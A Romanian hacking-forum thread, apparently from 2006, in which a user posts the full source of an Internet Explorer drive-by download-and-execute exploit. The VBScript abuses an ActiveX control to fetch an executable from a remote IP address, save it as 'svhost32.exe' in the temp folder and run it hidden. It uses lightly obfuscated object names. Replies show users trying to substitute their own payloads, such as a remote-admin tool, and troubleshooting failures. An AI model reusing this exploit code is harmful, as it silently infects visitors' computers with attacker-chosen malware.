Internet Explorer download & execute exploit

[Guest Nemessis]

Ma mir ca pana acum nu a postat nimeni sursa paginii ce infecteaza utilizatorii de yahoo messenger si ii face sa trimita reclame in toata lista. Asa ca pun eu sursa exploitului (doar IE este vulnerabil) iar daca a mai fost postata il rog pe kwerln sa stearga postul.

Functioneaza si pe SP2 si trebuie doar sa intrati pe o pagina ce contine acest cod pentru a fi infectati. Folositi Firefox

Link original al sursei: http://nsl-school.org

<script language="VBScript">

on error resume next

dl = "http://64.26.25.75/host.exe"

Set df = document.createElement("object")

df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

str="Microsoft.XMLHTTP"

Set x = df.CreateObject(str,"")

a1="Ado"

a2="db."

a3="Str"

a4="eam"

str1=a1&a2&a3&a4

str5=str1

set S = df.createobject(str5,"")

S.type = 1

str6="GET"

x.Open str6, dl, False

x.Send

fname1="svhost32.exe"

set F = df.createobject("Scripting.FileSystemObject","")

set tmp = F.GetSpecialFolder(2)

fname1= F.BuildPath(tmp,fname1)

S.open

S.write x.responseBody

S.savetofile fname1,2

S.close

set Q = df.createobject("Shell.Application","")

Q.ShellExecute fname1,"","","open",0

</script>

[Sub_Zero]

pai din cate stiu eu a mai fost postat,da parca scriptul era putin altfel

[J0K3R]

Si in loc de "http://64.26.25.75/host.exe" pot sa pun orice, nu ? (ex: http://site.com/program.exe) :@

[bossjuan]

nu merge am incercat eu sa pun si nu merge eu am vrut sa pun un radmin la exe si nu merge

[bossjuan]

eu am pus exac host-ul meu si apoi l-am pus acolo in script si nu face nimic scritul trebuie pus presupun intr-un html?

[bossjuan]

mie scriptul imi da o eroare cand il pun pe hsot si incerc sa il acesez ceva de genu

C:DOCUME~1hackLOCALS~1TEMPsvhost32.exe

The NTVDM CPU hs encontred an ilegl instruction.

CS:053a IP:01d1 OP63 68 65 2f 31 Choose 'Close'to terminate hte application

de ce imi da asa ?

[B_Real]

cel mai inervant exploit pe care l am vazut il au vreo 5 6 din lista mea si incaontinu !!! dar... le-am dat ignor )

[bossjuan]

de ce imi d erorea aia?

[Christian]

prea tarziu .. NOD32 detecteaza linia Q.ShellExecute fname1,"","","open",0 ca HTML/TrojanDownloader.Agent.NAB trojan

[Pastilatu']

nu downloadeaza frate troinaul...

[format c:]

interesant...am pus si eu pe un forum al astora de la myforum.ro si nu am vazut nici o schimbare:|

nu a dld nimic.ceva ajutor as putea primi?

[fenesan]

Imi poate explica cineva cum se foloseste ? la mine nu merge sau poate a fost reparat bugul

[MrRip]

Te-ai uitat si tu cand a fost postat exploit-ul ? 09-28-2006, 10:13 AM !!!!!!!!!!!!!!!! Cascati dracu ochii inainte de a posta ceva !